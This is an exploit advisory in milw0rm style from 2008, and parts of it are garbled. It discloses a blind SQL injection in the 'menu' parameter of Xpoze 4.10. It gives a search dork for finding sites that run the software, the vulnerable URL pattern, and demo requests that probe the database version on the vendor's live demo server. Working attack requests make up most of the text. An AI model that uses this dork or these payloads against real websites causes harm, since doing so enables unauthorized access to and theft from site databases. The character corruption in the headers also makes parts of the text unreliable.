Xpoze 4.10 - 'menu' Blind SQL Injection

[�0�9– ]  Xpoze Pro  (home men�0�1�0�1) <= Blind $ql Injection


>---------------------------------------<

> AuToR: XaDoS (SecurityCode Team)
> Contact M&: xados [at] hotmail [dot] it
> B�0�0§g: Blind $ql inJection
> SIte vuln: http://www.xpoze.org/

>---------------------------------------<


[�0�9– ] ExPL0iT:

Dork: " Powered by Xpoze "

|: http://www.example.com/home.html?menu=[$qL]


[�0�9– ] D�0�0�0�5M0:

|: http://demo.xpoze.org/home.html?menu=110%20and%20substring(@@version,1,1)=5  [NO�0�0°�0�0°]

|: http://demo.xpoze.org/home.html?menu=110%20and%20substring(@@version,1,1)=4 [y&$ ;-)]



[�0�9– ] Th4nKs::

\> Str0ke </ \>Il pavimento</ \>sibilla</ \>Lo z00</ \>I FoxHound ( goto www.myspace.com/foxhoundindie )

# milw0rm.com [2008-12-12]